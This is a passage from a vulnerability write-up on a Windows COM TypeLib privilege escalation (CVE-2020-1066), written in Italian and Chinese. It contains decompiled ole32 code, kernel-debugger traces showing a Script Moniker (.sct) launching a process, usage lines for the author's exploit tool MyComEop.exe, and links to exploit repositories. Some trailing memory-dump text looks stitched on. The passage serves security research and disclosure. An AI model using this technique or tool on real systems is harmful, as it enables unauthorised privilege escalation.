if ( (versionLookUpNext = _wcstoul(EndPtr + 1, 0, 16), !foundDotted) && versionLookUp > Version[0]
|| versionLookUp == Version[0] && versionLookUpNext >= SubVersion[0] )
{
*(_DWORD *)SubVersion = versionLookUpNext;
*(_DWORD *)Version = versionLookUp;
wcscpy_s(&SubKey, 0xDu, &Name);
}
}
}
if ( !RegOpenKeyW(hKey, &SubKey, &phkResult) )
{
if ( phkResult == hKey )
hKey = (HKEY)-1;
v6 = 0;
//继续枚举子健
for ( i = RegEnumKeyW(phkResult, 0, &Dst, 0x10u); !i; i = RegEnumKeyW(phkResult, v6, &Dst, 0x10u) )
{
if ( FIsLCID(&Dst) )
{
if ( RegOpenKeyW(phkResult, &Dst, &v22)
|| RegOpenKeyW(v22, L"win32", &v21) && (RegEnumKeyW(v22, 0, &Dst, 6u) || RegOpenKeyW(v22, &Dst, &v21)) )
{
break;
}
cbData = 520;
if ( RegQueryValueW(v21, 0, &Data, &cbData) )
break;
//找到后就加载
v8 = LoadTypeLib(&Data, &pptlib);
v9 = (wchar_t *)v8;
if ( !v8 || v8 >= 0 )
{
//根据GUID查找TypeInfo
v10 = pptlib->lpVtbl->GetTypeInfoOfGuid(pptlib, v12, &v14);
v9 = (wchar_t *)v10;
if ( !v10 || v10 >= 0 )
{
*v13 = v14;
v9 = 0;
}
}
goto LABEL_26;
}
++v6;
}
}
....
Ogni TypeLib può essere una struttura di TypeLib nidificata, e il caricamento di una TypeLib nidificata chiama ricorsivamente LoadTypeLibEx. Per i dettagli di costruzione, fare riferimento al codice dello strumento di sfruttamento e all'API ufficiale Microsoft. In questo modo, durante il caricamento ricorsivo della TypeLib, è possibile specificare un percorso di file TypeLib inesistente, che verrà interpretato come un Moniker da risolvere tramite il DisplayName del Moniker. Qui viene utilizzato Script Moniker, ovvero il file script script:xxx.sct. Alla fine, lo Script Moniker viene risolto innescando BindToObject, che attraverso Unmarshal deserializza e avvia una shell con i permessi del chiamante. Il principio è il seguente:``` HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib) {
... ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFile, syskind); if ( ptlib ) goto LABEL_31; //Typelib文件路径不存在时 if ( FindTypeLib(szFileNameRef, (LONG)&szFullPath, v5) ) { if ( CreateBindCtx(1u, &ppbc) ) goto LABEL_67; v8 = SysAllocString(szFileNameRef); if ( v8 ) { //可以解析成解析Script Moniker stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk); SysFreeString(v8); if ( !stat ) { //启动shell stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, (void **)&ptlib); ppmk->lpVtbl->Release(ppmk); } } ...
查看大图
Rispetto a Process Monitor, di seguito sono riportati i risultati di debug del processo creato da Script Moniker.```
Breakpoint 0 hit
kernel32!CreateProcessW:
0033:00000000`77741bb0 4883ec68 sub rsp,68h
//启动的就是exp
0: kd> dc @rdx
00000000`0378b9f8 00430022 002f003a 006c0064 0074002f ".C.:./.d.l./.t.
00000000`0378ba08 00730065 002f0074 006b006f 004d002f e.s.t./.o.k./.M.
00000000`0378ba18 00430079 006d006f 006f0045 002e0070 y.C.o.m.E.o.p...
00000000`0378ba28 00780065 00220065 00310020 00000000 e.x.e.". .1.....
00000000`0378ba38 00000000 00000000 00000000 00000000 ................
00000000`0378ba48 00000000 00000000 00000000 00000000 ................
0: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 00000000`0288c3e8 000007fe`ec9ec0dd : 00000000`00000000 000007fe`ec8e1982 00001e9f`9ac2b3f6 00000000`00000000 : kernel32!CreateProcessW
01 00000000`0288c3f0 000007fe`ec9ec55f : 00000000`00000000 00000000`0288c5c0 00000000`0288c788 00000000`0288c5c0 : wshom!CWshShell::CreateShortcut+0x30d
02 00000000`0288c4e0 000007fe`feb616d0 : 00000000`0288c7a0 00000000`002fd46c 00000000`0378b9f8 00000000`00000000 : wshom!CWshShell::Exec+0x2b3
03 00000000`0288c5a0 000007fe`feb624d2 : 00000000`00000104 000007fe`fec008e0 00000000`00000fff 000007fe`feb623b8 : OLEAUT32!DispCallFuncAmd64+0x60
04 00000000`0288c600 000007fe`feb61de1 : 00000000`0366c2b8 00000000`037cd3f8 00000000`037806c0 00000000`0288c768 : OLEAUT32!DispCallFunc+0x268
05 00000000`0288c6b0 000007fe`ec9e12d5 : 00000000`002f60d0 000007fe`feb6150c 00000000`03796ee0 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x39a
06 00000000`0288ca20 000007fe`ec9e121d : 00000000`00000bc4 000007fe`ebf5d79e 00000000`00000000 000007fe`ff8724c8 : wshom!CDispatch::Invoke+0xad
07 00000000`0288ca80 000007fe`ebf7ad24 : 00000000`00001f80 00000000`00000bc4 00000000`0288e560 00000000`002ffbc0 : wshom!CWshExec::Invoke+0x4d
08 00000000`0288cae0 000007fe`ebf79dc7 : 00000000`00000000 00000000`002ffbc0 00000000`00000000 00000000`001758b0 : jscript!CScriptRuntime::Run+0x2e1d
09 00000000`0288e4f0 000007fe`ebf79c09 : 00000000`00000000 00000000`0017c6b0 00000000`00000000 00000000`00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x187
0a 00000000`0288e700 000007fe`ebf79a25 : 00000000`001758b0 00000000`00000000 00000000`001758b0 00000000`00000000 : jscript!ScrFncObj::Call+0xb5
0b 00000000`0288e7a0 000007fe`ebf7903b : 00000000`0008001f 00000000`001758b0 00000000`00000000 00000000`002f6660 : jscript!CSession::Execute+0x1a5
0c 00000000`0288e890 000007fe`ebf79386 : 00000000`00000000 00000000`001758b0 00000000`00000000 ffffffff`ffffffff : jscript!COleScript::ExecutePendingScripts+0x223
0d 00000000`0288e960 000007fe`eca17186 : 00000000`00000000 000007fe`eca17f9d 00000000`002fc410 01d61e99`4640f6a8 : jscript!COleScript::SetScriptState+0x6e
0e 00000000`0288e990 000007fe`eca17004 : 00000000`002fc400 00000000`002fc400 00000000`002f3ce0 00000000`002f3ce0 : scrobj!ComScriptlet::Inner::StartEngines+0xcf
0f 00000000`0288e9f0 000007fe`eca16dc1 : 00000000`002c95e0 00000000`002fc400 00000000`002f3ce0 000007fe`ff687a01 : scrobj!ComScriptlet::Inner::Init+0x27a
10 00000000`0288ea90 000007fe`eca16caa : 00000000`002f3ce0 00000000`00000000 00000000`00000000 00000000`00000000 : scrobj!ComScriptlet::New+0xca
11 00000000`0288eac0 000007fe`eca220f3 : 00000000`002f62a0 00000000`00249618 00000000`002ce680 00000000`037143d8 : scrobj!ComScriptletConstructor::Create+0x68
12 00000000`0288eb10 000007fe`ff6678d6 : 00000000`03798760 00000000`03718760 00000000`037da9c0 000007fe`fee9b065 : scrobj!ComScriptletMoniker::BindToObject+0x7f
13 00000000`0288eb60 000007fe`ff5669ba : 000007fe`ff68be00 000007fe`ff6608bd 00000000`00000030 000007fe`ff68be30 : ole32!IMoniker_BindToObject_Stub+0x16 [d:\w7rtm\com\ole32\oleprx32\proxy\call_as.c @ 2264]
14 00000000`0288eba0 000007fe`fee9bc86 : 00000000`00000005 00000000`03718760 000007fe`ff687a18 00000000`037da9c0 : ole32!IMoniker_RemoteBindToObject_Thunk+0x2a [o:\w7rtm.obj.amd64fre\com\ole32\oleprx32\proxy\daytona\objfre\amd64\mega_p.c @ 487]
15 00000000`0288ebe0 000007fe`fedf48d6 : 00000000`0288f248 000007fe`ff66376f 00000000`03715700 00000000`0379a2a0 : RPCRT4!Ndr64AsyncServerCallAll+0x1806
16 00000000`0288f1a0 000007fe`ff660883 : 00000000`00000000 00000000`00000000 000007fe`ff695b80 00000000`03715ea0 : RPCRT4!NdrStubCall3+0xc6
17 00000000`0288f200 000007fe`ff660ccd : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
18 00000000`0288f230 000007fe`ff660c43 : 00000000`037da9c0 00000000`0579cb14 00000000`036ce730 000007fe`eca36a40 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
19 00000000`0288f2a0 000007fe`ff51a4f0 : 00000000`037da9c0 00000000`0361e890 00000000`037da9c0 00000000`00000178 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
1a 00000000`0288f350 000007fe`ff52d551 : 00000000`00000000 00000000`00000001 00000000`0376e9e0 00000000`03715ea0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
1b 00000000`0288f4e0 000007fe`ff66347e : 00000000`0361e890 00000000`00000000 00000000`03718760 00000000`00000000 : ole32!STAInvoke+0x91 [d:\w7rtm\com\ole32\com\dcomrem\callctrl.cxx @ 1923]
1c 00000000`0288f530 000007fe`ff66122b : 00000000`d0908070 00000000`0361e890 00000000`01d93e30 00000000`03718760 : ole32!AppInvoke+0x1aa [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1081]
1d 00000000`0288f5a0 000007fe`ff663542 : 00000000`037da930 00000000`00000400 00000000`00000000 00000000`01d98a30 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
1e 00000000`0288f730 000007fe`ff52d42d : 00000000`03715ea0 00000000`00000000 00000000`0378f190 00000000`037da930 : ole32!ComInvoke+0xae [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1469]
1f 00000000`0288f760 000007fe`ff52d1d6 : 00000000`0361e890 00000000`037da938 00000000`00000400 00000000`00000000 : ole32!ThreadDispatch+0x29 [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 298]
20 00000000`0288f790 00000000`77639bd1 : 00000000`00000000 00000000`00000000 00000000`00000000 b2698378`e8b9daaa : ole32!ThreadWndProc+0xaa [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 654]
21 00000000`0288f810 00000000`776398da : 00000000`0288f970 000007fe`ff52d12c 000007fe`ff6c5780 00000000`006c4200 : USER32!UserCallWinProcCheckWow+0x1ad
22 00000000`0288f8d0 000007fe`ff52d0ab : 00000000`000b0098 00000000`000b0098 000007fe`ff52d12c 00000000`00000000 : USER32!DispatchMessageWorker+0x3b5
23 00000000`0288f950 000007fe`ff653e57 : 00000000`0361e890 00000000`00000000 00000000`0361e890 000007fe`ff513032 : ole32!CDllHost::STAWorkerLoop+0x68 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 957]
24 00000000`0288f9b0 000007fe`ff500106 : 00000000`0361e890 00000000`036d6510 00000000`00000000 00000000`00000000 : ole32!CDllHost::WorkerThread+0xd7 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 834]
25 00000000`0288f9f0 000007fe`ff500182 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThread::WorkerLoop+0x1e [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 257]
26 00000000`0288fa30 00000000`7773652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 63]
27 00000000`0288fa60 00000000`7786c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
28 00000000`0288fa90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
Il mio metodo di test dello strumento di sfruttamento delle vulnerabilità è il seguente, è necessario eseguire come amministratore``` 1.只适用Windows7系统直接运行,无参数,替换默认Typelib
MyComEop.exe
2.替换指定接口TypeLIb文件路径的Com组件TypeLIb,比如C:\xxx.dll
MyComEop.exe [u] [TypeLib_Path]
3.替换指定接口IID的Com组件TypeLIb,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [u] [IID_Interface]
4.高级模式接口IID=[IID_Interface],接口名称=[InterfaceName],接口的TypeLib_GUID=[TypeLib_GUID_Interface],接口TypeLIb文件路径=[TypeLib_Path]
MyComEop.exe [u] [IID_Interface] [InterfaceName] [TypeLib_GUID_Interface] [TypeLib_Path] [Disable_Redirection]
5.不替换文件,仅测试指定接口IID的Com组件TypeLIb利用,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [t] [IID_Interface]
#### Risultati di esecuzione ####
Di seguito sono riportati i risultati dell'esecuzione dell'exp, come mostrato nella figura:
#### Progetti correlati ####
[CVE-2020-0787-EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)
[Progetto di decompilazione del servizio Windows CardSpace](https://gitee.com/cbwang505/Windows_CardSpace_Service)
[Il mio reverse engineering di ole32](https://gitee.com/cbwang505/MyOle32ReverseEngineering)
[I miei strumenti di exploit](https://gitee.com/cbwang505/TypeLibUnmarshaler)
[Strumento di collegamento simbolico](https://github.com/googleprojectzero/symboliclink-testing-tools)
[CVE-2020-1066-EXP](https://gitee.com/cbwang505/CVE-2020-1066-EXP)
#### Riferimenti correlati ####
[CVE-2020-1066](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1066)
#### Contributi ####
Autore da ZheJiang Guoli Security Technology, email: [email protected]
02c8e100 006c0074 00000062 001e6e38 00000000 t.l.b...8n...... 000000000371f310 000000000378aaf8 000000000391dd00 000007fe0391df50 000000000378aaf8 000000000391dd90 000007fe03715ea0 000000000391e618 0000113b0391dde0 000007fe00000000 0000000000000000 000000000391de80 000007fe0378aaf8 0000000000000001 000000000391deb0 000007fe0378aaf8 000000000365efb0 000000180391df30 000007fe037daf90 000007fe001cf840 000007fe0391dfd0 000007fe00000002 000000000391db00 000000000391e0b0 000007fe0363fdd4 0000000000000001 000000000391e120 000007fe00000000 000000000391e618 000000000391e190 000007fe0391e340 000007fe0391e4f0 000000000391e1d0 000007fe00000020 000007fe0391e618 000007fe0391e240 000007fe0391e9b0 000007fe0391e9b0 000007fe0391e860 000007fe00000000 000000000391ec60 000000000391e8c0 000007fe00000000 00000000fb63a201 000000000391e8f0 000007fe0023e760 00000000036ce6a0 000007fe0391e960 000007fe0023e760 000000000023e760 000000000391ea10 000007fe00000000 00000018037958a0 000000000391eba0 000007fed0908070 0000000001d93e30 000000000391ec10 000007fe037daf90 0000000003715ff0 000000000391eda0 000007feff6c9930 00000000037241b0 000007fe0391ee40 000007feff670ab0 000000000391f0b0 000007fe0391ee70 000007fe0378a970 000000000391f194 000000000391ef90 000007fe00000000 000000000391f0b0 000000000391efd0 000007fe0378a970 000000000378a970 000007fe0391f050 0000000000000000 0000000000000000 00000000feb6a550 fff3 push rbx 1: kd> dc @rcx L50 0000000002c8dd80 005c003a 006c0064 0074005c 00730065 :.\.d.l.\.t.e.s. 0000000002c8dda0 0073002e 00740063 01e50000 00000000 ..s.c.t......... 00000000